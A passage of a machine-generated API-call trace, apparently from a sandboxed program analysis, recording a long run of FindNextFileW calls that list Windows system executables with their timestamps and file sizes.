lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa36ac5f7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa36ac5f7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa36d2757, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="msfeedssync.exe", cAlternateFileName="")) returned 1 [0039.325] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c5bf525, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x6c5bf525, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0xe931ec50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6600, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="msg.exe", cAlternateFileName="")) returned 1 [0039.325] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc462c463, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc462c463, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe9345d50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="mshta.exe", cAlternateFileName="")) returned 1 [0039.325] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f58252, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92f58252, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92f58252, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1f400, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="msiexec.exe", cAlternateFileName="")) returned 1 [0039.325] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849572ea, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x849572ea, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849572ea, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0039.325] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8d77b9b, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xd8d77b9b, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xeabd2030, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x65e000, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="mspaint.exe", cAlternateFileName="")) returned 1 [0039.325] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x206ec2b5, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x206ec2b5, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xead4edf0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9f000, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="msra.exe", cAlternateFileName="")) returned 1 [0039.325] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87cd0f09, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87cd0f09, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87cf7069, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x110a00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="mstsc.exe", cAlternateFileName="")) returned 1 [0039.325] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa8766c6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xfa8766c6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xeb048970, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x20a00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="mtstocom.exe", cAlternateFileName="")) returned 1 [0039.325] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3728ce1, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xd3728ce1, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xeb0dff50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x14600, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="MuiUnattend.exe", cAlternateFileName="")) returned 1 [0039.325] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e1df59a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9e1df59a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9e1df59a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="MultiDigiMon.exe", cAlternateFileName="")) returned 1 [0039.325] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x204904eb, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x204904eb, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xeb31b3f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x50800, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="NAPSTAT.EXE", cAlternateFileName="")) returned 1 [0039.325] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ad0ed19, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ad0ed19, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ad34e79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x107000, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="Narrator.exe", cAlternateFileName="")) returned 1 [0039.325] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4caa4fdc, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x4caa4fdc, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xeb366ee0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="nbtstat.exe", cAlternateFileName="")) returned 1 [0039.325] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bb6c1f9, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x6bb6c1f9, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xeb3d9ad0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x12400, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="ndadmin.exe", cAlternateFileName="")) returned 1 [0039.325] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x251bcb61, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x251bcb61, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xeb4255c0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xda00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="net.exe", cAlternateFileName="")) returned 1 [0039.325] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e64beab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8e64beab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8e64beab, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x25200, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="net1.exe", cAlternateFileName="")) returned 1 [0039.325] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ed02ac7, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x4ed02ac7, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xeb4710b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6200, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="netbtugc.exe", cAlternateFileName="")) returned 1 [0039.325] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7f5f716, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc7f5f716, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xeb4981b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7e00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="netcfg.exe", cAlternateFileName="")) returned 1 [0039.325] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61099acf, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x61099acf, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xeb4bf2b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="netiougc.exe", cAlternateFileName="")) returned 1 [0039.325] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x663b97cd, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x663b97cd, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xeb4e3ca0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6a00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="Netplwiz.exe", cAlternateFileName="")) returned 1 [0039.325] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6aa0544, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb6aa0544, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xeb50ada0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x16200, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="NetProj.exe", cAlternateFileName="")) returned 1 [0039.325] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72634ab1, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x72634ab1, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xeb556890, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x15400, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="netsh.exe", cAlternateFileName="")) returned 1 [0039.325] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x851fa5b4, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x851fa5b4, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xeb556890, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="NETSTAT.EXE", cAlternateFileName="")) returned 1 [0039.325] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bb4609c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x6bb4609c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xeb57d990, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x12a00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="newdev.exe", cAlternateFileName="")) returned 1 [0039.326] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9db9fbcf, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9db9fbcf, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9dcf6831, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x60a00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="nltest.exe", cAlternateFileName="")) returned 1 [0039.326] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8eb2c4cd, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x8eb2c4cd, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xeb804920, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2f400, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="notepad.exe", cAlternateFileName="")) returned 1 [0039.326] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3637c3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f3637c3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f3637c3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1ac00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="nslookup.exe", cAlternateFileName="")) returned 1 [0039.326] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x994105eb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x1b54e595, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x99756431, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x54e580, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="ntoskrnl.exe", cAlternateFileName="")) returned 1 [0039.326] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b6879f, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x92b6879f, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0xebcede50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xf200, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="ntprint.exe", cAlternateFileName="")) returned 1 [0039.326] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ef12fdb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ef12fdb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ef3913b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2d800, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="ocsetup.exe", cAlternateFileName="")) returned 1 [0039.326] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3168728, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x3168728, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xebfc08d0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x16000, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="odbcad32.exe", cAlternateFileName="")) returned 1 [0039.326] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6449966, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x6449966, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xebfe79d0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="odbcconf.exe", cAlternateFileName="")) returned 1 [0039.326] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39a4b4b4, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x39a4b4b4, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xec0334c0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x13800, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="openfiles.exe", cAlternateFileName="")) returned 1 [0039.326] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82e3c16f, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x82e3c16f, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xec057eb0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x17e00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="OptionalFeatures.exe", cAlternateFileName="")) returned 1 [0039.326] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54c6203, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc54c6203, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xec1fbd70, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa9200, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="osk.exe", cAlternateFileName="")) returned 1 [0039.326] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8323c00, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xa8323c00, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xec32d040, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2b000, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="p2phost.exe", cAlternateFileName="")) returned 1 [0039.326] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85860053, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x85860053, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xec351a30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="PATHPING.EXE", cAlternateFileName="")) returned 1 [0039.326] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cd61d53, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x2cd61d53, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xec378b30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="pcalua.exe", cAlternateFileName="")) returned 1 [0039.326] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29aa6c72, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x29aa6c72, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xec39fc30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="pcaui.exe", cAlternateFileName="")) returned 1 [0039.326] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31cd3551, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x31cd3551, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xec3c4620, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="pcawrk.exe", cAlternateFileName="")) returned 1 [0039.326] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1234dce3, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1234dce3, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xdff17430, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="pcwrun.exe", cAlternateFileName="")) returned 1 [0039.326] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x958b40de, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x958b40de, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x95a7d161, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2a200, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="perfmon.exe", cAlternateFileName="")) returned 1 [0039.326] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dcc4a3, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x86dcc4a3, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xec51c9f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="PING.EXE", cAlternateFileName="")) returned 1 [0039.326] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x834cf504, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x834cf504, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x834cf504, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x30a00, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="PkgMgr.exe", cAlternateFileName="")) returned 1 [0039.326] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1dfad5, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xa1dfad5, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xec6997b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x7735389e, dwReserved1=0x940138, cFileName="plasrv.exe", cAlternateFileName="")) returned 1 [0039.326] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f9a8 | out: lpFindFileData=0x119f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x936562fe, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x936562fe, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x936562fe, 